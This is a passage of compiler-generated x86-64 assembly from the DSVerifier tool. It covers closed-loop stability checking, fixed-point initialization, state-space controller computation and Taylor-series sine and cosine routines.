mov rax, QWORD PTR -80[rbp]
movsx rdx, edx
imul rdx, rcx
movsd xmm3, QWORD PTR [rax+rdx*8]
movapd xmm2, xmm1
divsd xmm2, xmm3
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -120[rbp]
lea esi, -1[rax]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -124[rbp]
movsx rdi, edx
movsx rdx, esi
imul rdx, rcx
add rdx, rdi
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm1, xmm2
mov rcx, rbx
shr rcx, 3
subsd xmm0, xmm1
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -124[rbp]
movsx rsi, edx
mov edx, DWORD PTR -120[rbp]
movsx rdx, edx
imul rdx, rcx
add rdx, rsi
movsd QWORD PTR [rax+rdx*8], xmm0
mov rax, QWORD PTR -80[rbp]
movsd xmm0, QWORD PTR [rax]
pxor xmm1, xmm1
comisd xmm0, xmm1
jb .L806
mov rcx, rbx
shr rcx, 3
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -120[rbp]
movsx rdx, edx
imul rdx, rcx
movsd xmm0, QWORD PTR [rax+rdx*8]
pxor xmm1, xmm1
comisd xmm0, xmm1
jb .L806
mov eax, 1
jmp .L809
.L806:
mov eax, 0
.L809:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
.L802:
add DWORD PTR -124[rbp], 1
.L800:
mov eax, DWORD PTR -124[rbp]
cmp eax, DWORD PTR -116[rbp]
jl .L810
add DWORD PTR -120[rbp], 1
.L799:
mov eax, DWORD PTR -140[rbp]
add eax, eax
sub eax, 1
cmp DWORD PTR -120[rbp], eax
jl .L811
mov eax, 1
mov rsp, QWORD PTR -176[rbp]
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L813
call __stack_chk_fail@PLT
.L813:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE119:
.size check_stability_closedloop, .-check_stability_closedloop
.section .rodata
.align 8
.LC46:
.string "impl.frac_bits must be less than word width!"
.align 8
.LC47:
.string "impl.int_bits must be less than word width subtracted by precision!"
.align 8
.LC48:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
.LC49:
.string "0"
.text
.globl initialization
.type initialization, @function
initialization:
.LFB120:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR impl[rip+4]
cmp eax, 31
jle .L817
lea rdi, .LC46[rip]
call puts@PLT
.L817:
mov eax, DWORD PTR impl[rip]
mov ecx, DWORD PTR impl[rip+4]
mov edx, 32
sub edx, ecx
cmp eax, edx
jl .L818
lea rdi, .LC47[rip]
call puts@PLT
lea rcx, __PRETTY_FUNCTION__.9[rip]
mov edx, 33
lea rsi, .LC48[rip]
lea rdi, .LC49[rip]
call __assert_fail@PLT
.L818:
mov eax, DWORD PTR impl[rip+4]
cmp eax, 30
jle .L819
mov QWORD PTR _fxp_one[rip], 2147483647
jmp .L820
.L819:
mov eax, DWORD PTR impl[rip+4]
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
cdqe
mov QWORD PTR _fxp_one[rip], rax
.L820:
mov eax, DWORD PTR impl[rip+4]
sub eax, 1
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
cdqe
mov QWORD PTR _fxp_half[rip], rax
mov eax, DWORD PTR impl[rip+4]
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
neg eax
cdqe
mov QWORD PTR _fxp_minus_one[rip], rax
mov edx, DWORD PTR impl[rip+4]
mov eax, DWORD PTR impl[rip]
add eax, edx
sub eax, 1
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
neg eax
cdqe
mov QWORD PTR _fxp_min[rip], rax
mov edx, DWORD PTR impl[rip+4]
mov eax, DWORD PTR impl[rip]
add eax, edx
sub eax, 1
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
sub eax, 1
cdqe
mov QWORD PTR _fxp_max[rip], rax
mov eax, DWORD PTR impl[rip+4]
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
sub eax, 1
cdqe
mov QWORD PTR _fxp_fmask[rip], rax
mov edx, DWORD PTR impl[rip+4]
mov eax, 31
sub eax, edx
mov edx, -2147483648
mov ecx, eax
shr edx, cl
mov eax, edx
mov eax, eax
mov QWORD PTR _fxp_imask[rip], rax
mov rax, QWORD PTR _fxp_min[rip]
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
movsd QWORD PTR _dbl_min[rip], xmm0
movsd xmm0, QWORD PTR _dbl_min[rip]
mov eax, DWORD PTR impl[rip+4]
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
divsd xmm0, xmm1
movsd QWORD PTR _dbl_min[rip], xmm0
mov rax, QWORD PTR _fxp_max[rip]
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
movsd QWORD PTR _dbl_max[rip], xmm0
movsd xmm0, QWORD PTR _dbl_max[rip]
mov eax, DWORD PTR impl[rip+4]
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
divsd xmm0, xmm1
movsd QWORD PTR _dbl_max[rip], xmm0
mov eax, DWORD PTR impl[rip+40]
test eax, eax
je .L821
mov eax, DWORD PTR impl[rip+40]
cmp eax, 1
jne .L822
.L821:
mov DWORD PTR impl[rip+40], 1
jmp .L816
.L822:
movsd xmm0, QWORD PTR impl[rip+16]
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jp .L827
pxor xmm1, xmm1
comisd xmm0, xmm1
je .L824
.L827:
movsd xmm0, QWORD PTR impl[rip+16]
mov eax, DWORD PTR impl[rip+40]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
divsd xmm0, xmm1
movsd QWORD PTR impl[rip+16], xmm0
.L824:
movsd xmm0, QWORD PTR impl[rip+8]
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jp .L828
pxor xmm1, xmm1
comisd xmm0, xmm1
je .L816
.L828:
movsd xmm0, QWORD PTR impl[rip+8]
mov eax, DWORD PTR impl[rip+40]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
divsd xmm0, xmm1
movsd QWORD PTR impl[rip+8], xmm0
.L816:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE120:
.size initialization, .-initialization
.globl double_state_space_representation
.type double_state_space_representation, @function
double_state_space_representation:
.LFB121:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 288
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -280[rbp], 0
jmp .L830
.L833:
mov DWORD PTR -276[rbp], 0
jmp .L831
.L832:
mov eax, DWORD PTR -276[rbp]
movsx rdx, eax
mov eax, DWORD PTR -280[rbp]
cdqe
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -272[rbp+rax*8], xmm0
mov eax, DWORD PTR -276[rbp]
movsx rdx, eax
mov eax, DWORD PTR -280[rbp]
cdqe
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -144[rbp+rax*8], xmm0
add DWORD PTR -276[rbp], 1
.L831:
cmp DWORD PTR -276[rbp], 3
jle .L832
add DWORD PTR -280[rbp], 1
.L830:
cmp DWORD PTR -280[rbp], 3
jle .L833
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller[rip+512]
lea r8, _controller[rip+256]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -144[rbp]
push rax
lea r9, _controller[rip+768]
lea r8, _controller[rip+384]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rdx, -144[rbp]
lea rax, -272[rbp]
lea r8, _controller[rip+640]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller[rip+512]
lea r8, _controller[rip]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
sub rsp, 8
lea rax, -144[rbp]
push rax
lea r9, _controller[rip+768]
lea r8, _controller[rip+128]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rdx, -144[rbp]
lea rax, -272[rbp]
lea r8, _controller[rip+512]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
movsd xmm0, QWORD PTR _controller[rip+640]
movq rax, xmm0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L835
call __stack_chk_fail@PLT
.L835:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE121:
.size double_state_space_representation, .-double_state_space_representation
.globl fxp_state_space_representation
.type fxp_state_space_representation, @function
fxp_state_space_representation:
.LFB122:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1184
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -1176[rbp], 0
jmp .L837
.L840:
mov DWORD PTR -1172[rbp], 0
jmp .L838
.L839:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -1168[rbp+rax*8], 0
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -1040[rbp+rax*8], 0
add DWORD PTR -1172[rbp], 1
.L838:
cmp DWORD PTR -1172[rbp], 3
jle .L839
add DWORD PTR -1176[rbp], 1
.L837:
cmp DWORD PTR -1176[rbp], 3
jle .L840
mov DWORD PTR -1176[rbp], 0
jmp .L841
.L844:
mov DWORD PTR -1172[rbp], 0
jmp .L842
.L843:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -912[rbp+rax*8], 0
add DWORD PTR -1172[rbp], 1
.L842:
cmp DWORD PTR -1172[rbp], 3
jle .L843
add DWORD PTR -1176[rbp], 1
.L841:
cmp DWORD PTR -1176[rbp], 3
jle .L844
mov DWORD PTR -1176[rbp], 0
jmp .L845
.L848:
mov DWORD PTR -1172[rbp], 0
jmp .L846
.L847:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -784[rbp+rax*8], 0
add DWORD PTR -1172[rbp], 1
.L846:
cmp DWORD PTR -1172[rbp], 3
jle .L847
add DWORD PTR -1176[rbp], 1
.L845:
cmp DWORD PTR -1176[rbp], 3
jle .L848
mov DWORD PTR -1176[rbp], 0
jmp .L849
.L852:
mov DWORD PTR -1172[rbp], 0
jmp .L850
.L851:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -656[rbp+rax*8], 0
add DWORD PTR -1172[rbp], 1
.L850:
cmp DWORD PTR -1172[rbp], 3
jle .L851
add DWORD PTR -1176[rbp], 1
.L849:
cmp DWORD PTR -1176[rbp], 3
jle .L852
mov DWORD PTR -1176[rbp], 0
jmp .L853
.L856:
mov DWORD PTR -1172[rbp], 0
jmp .L854
.L855:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -528[rbp+rax*8], 0
add DWORD PTR -1172[rbp], 1
.L854:
cmp DWORD PTR -1172[rbp], 3
jle .L855
add DWORD PTR -1176[rbp], 1
.L853:
cmp DWORD PTR -1176[rbp], 3
jle .L856
mov DWORD PTR -1176[rbp], 0
jmp .L857
.L860:
mov DWORD PTR -1172[rbp], 0
jmp .L858
.L859:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -400[rbp+rax*8], 0
add DWORD PTR -1172[rbp], 1
.L858:
cmp DWORD PTR -1172[rbp], 3
jle .L859
add DWORD PTR -1176[rbp], 1
.L857:
cmp DWORD PTR -1176[rbp], 3
jle .L860
mov DWORD PTR -1176[rbp], 0
jmp .L861
.L864:
mov DWORD PTR -1172[rbp], 0
jmp .L862
.L863:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -272[rbp+rax*8], 0
add DWORD PTR -1172[rbp], 1
.L862:
cmp DWORD PTR -1172[rbp], 3
jle .L863
add DWORD PTR -1176[rbp], 1
.L861:
cmp DWORD PTR -1176[rbp], 3
jle .L864
mov DWORD PTR -1176[rbp], 0
jmp .L865
.L868:
mov DWORD PTR -1172[rbp], 0
jmp .L866
.L867:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -144[rbp+rax*8], 0
add DWORD PTR -1172[rbp], 1
.L866:
cmp DWORD PTR -1172[rbp], 3
jle .L867
add DWORD PTR -1176[rbp], 1
.L865:
cmp DWORD PTR -1176[rbp], 3
jle .L868
mov DWORD PTR -1176[rbp], 0
jmp .L869
.L872:
mov DWORD PTR -1172[rbp], 0
jmp .L870
.L871:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -912[rbp+rdx*8], rax
add DWORD PTR -1172[rbp], 1
.L870:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1172[rbp], eax
jl .L871
add DWORD PTR -1176[rbp], 1
.L869:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L872
mov DWORD PTR -1176[rbp], 0
jmp .L873
.L876:
mov DWORD PTR -1172[rbp], 0
jmp .L874
.L875:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 16
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -784[rbp+rdx*8], rax
add DWORD PTR -1172[rbp], 1
.L874:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1172[rbp], eax
jl .L875
add DWORD PTR -1176[rbp], 1
.L873:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L876
mov DWORD PTR -1176[rbp], 0
jmp .L877
.L880:
mov DWORD PTR -1172[rbp], 0
jmp .L878
.L879:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 32
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -656[rbp+rdx*8], rax
add DWORD PTR -1172[rbp], 1
.L878:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1172[rbp], eax
jl .L879
add DWORD PTR -1176[rbp], 1
.L877:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L880
mov DWORD PTR -1176[rbp], 0
jmp .L881
.L884:
mov DWORD PTR -1172[rbp], 0
jmp .L882
.L883:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 48
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -528[rbp+rdx*8], rax
add DWORD PTR -1172[rbp], 1
.L882:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1172[rbp], eax
jl .L883
add DWORD PTR -1176[rbp], 1
.L881:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L884
mov DWORD PTR -1176[rbp], 0
jmp .L885
.L888:
mov DWORD PTR -1172[rbp], 0
jmp .L886
.L887:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -400[rbp+rdx*8], rax
add DWORD PTR -1172[rbp], 1
.L886:
cmp DWORD PTR -1172[rbp], 0
jle .L887
add DWORD PTR -1176[rbp], 1
.L885:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L888
mov DWORD PTR -1176[rbp], 0
jmp .L889
.L892:
mov DWORD PTR -1172[rbp], 0
jmp .L890
.L891:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 96
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -272[rbp+rdx*8], rax
add DWORD PTR -1172[rbp], 1
.L890:
cmp DWORD PTR -1172[rbp], 0
jle .L891
add DWORD PTR -1176[rbp], 1
.L889:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L892
mov DWORD PTR -1176[rbp], 0
jmp .L893
.L896:
mov DWORD PTR -1172[rbp], 0
jmp .L894
.L895:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 80
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -144[rbp+rdx*8], rax
add DWORD PTR -1172[rbp], 1
.L894:
cmp DWORD PTR -1172[rbp], 0
jle .L895
add DWORD PTR -1176[rbp], 1
.L893:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L896
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rcx, -400[rbp]
lea rdx, -656[rbp]
sub rsp, 8
lea rax, -1168[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, 1
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov r10d, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rcx, -272[rbp]
lea rdx, -528[rbp]
sub rsp, 8
lea rax, -1040[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, 1
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rcx, -144[rbp]
lea rdx, -1040[rbp]
lea rax, -1168[rbp]
mov r8, rcx
mov rcx, rdx
mov rdx, rax
mov esi, 1
call fxp_add_matrix
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -400[rbp]
lea rdx, -912[rbp]
sub rsp, 8
lea rax, -1168[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, 1
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov r10d, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -272[rbp]
lea rdx, -784[rbp]
sub rsp, 8
lea rax, -1040[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, 1
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -400[rbp]
lea rdx, -1040[rbp]
lea rax, -1168[rbp]
mov r8, rcx
mov rcx, rdx
mov rdx, rax
mov esi, 1
call fxp_add_matrix
mov DWORD PTR -1176[rbp], 0
jmp .L897
.L900:
mov DWORD PTR -1172[rbp], 0
jmp .L898
.L899:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rax, QWORD PTR -400[rbp+rax*8]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
add rdx, 64
lea rcx, 0[0+rdx*8]
lea rdx, _controller[rip]
mov QWORD PTR [rcx+rdx], rax
add DWORD PTR -1172[rbp], 1
.L898:
cmp DWORD PTR -1172[rbp], 0
jle .L899
add DWORD PTR -1176[rbp], 1
.L897:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L900
mov DWORD PTR -1176[rbp], 0
jmp .L901
.L904:
mov DWORD PTR -1172[rbp], 0
jmp .L902
.L903:
mov eax, DWORD PTR -1172[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1176[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rax, QWORD PTR -144[rbp+rax*8]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov edx, DWORD PTR -1172[rbp]
movsx rcx, edx
mov edx, DWORD PTR -1176[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
add rdx, 80
lea rcx, 0[0+rdx*8]
lea rdx, _controller[rip]
mov QWORD PTR [rcx+rdx], rax
add DWORD PTR -1172[rbp], 1
.L902:
cmp DWORD PTR -1172[rbp], 0
jle .L903
add DWORD PTR -1176[rbp], 1
.L901:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1176[rbp], eax
jl .L904
movsd xmm0, QWORD PTR _controller[rip+640]
movq rax, xmm0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L906
call __stack_chk_fail@PLT
.L906:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE122:
.size fxp_state_space_representation, .-fxp_state_space_representation
.section .rodata
.align 8
.LC50:
.string "Warning: Function sinTyl from bmc/core/filter_functions.h: Precision must be a positive integer. Assuming 0 precision"
.align 8
.LC56:
.string "Warning: Function sinTyl from bmc/core/filter_functions.h: Precision representation exceeded. Assuming maximum precision of 6"
.text
.globl sinTyl
.type sinTyl, @function
sinTyl:
.LFB123:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
movsd QWORD PTR -40[rbp], xmm0
mov DWORD PTR -44[rbp], edi
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
movsd QWORD PTR -16[rbp], xmm0
cmp DWORD PTR -44[rbp], 0
jns .L908
lea rdi, .LC50[rip]
call puts@PLT
mov DWORD PTR -44[rbp], 0
.L908:
cmp DWORD PTR -44[rbp], 0
js .L909
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 0
jle .L909
movsd xmm0, QWORD PTR -40[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -24[rbp]
addsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 1
jle .L909
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm2, QWORD PTR .LC51[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 2
jle .L909
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC52[rip]
divsd xmm0, xmm1
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 3
jle .L909
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm2, QWORD PTR .LC53[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 4
jle .L909
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC54[rip]
divsd xmm0, xmm1
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 5
jle .L909
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm2, QWORD PTR .LC55[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 6
jle .L909
lea rdi, .LC56[rip]
call puts@PLT
.L909:
movsd xmm0, QWORD PTR -24[rbp]
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE123:
.size sinTyl, .-sinTyl
.section .rodata
.align 8
.LC57:
.string "Warning: Function cosTyl from bmc/core/filter_functions.h: Precision must be a positive integer. Assuming 0 precision"
.text
.globl cosTyl
.type cosTyl, @function
cosTyl:
.LFB124:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
movsd QWORD PTR -40[rbp], xmm0
mov DWORD PTR -44[rbp], edi
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
movsd QWORD PTR -16[rbp], xmm0
cmp DWORD PTR -44[rbp], 0
jns .L912
lea rdi, .LC57[rip]
call puts@PLT
mov DWORD PTR -44[rbp], 0
.L912:
cmp DWORD PTR -44[rbp], 0
js .L913
pxor xmm0, xmm0
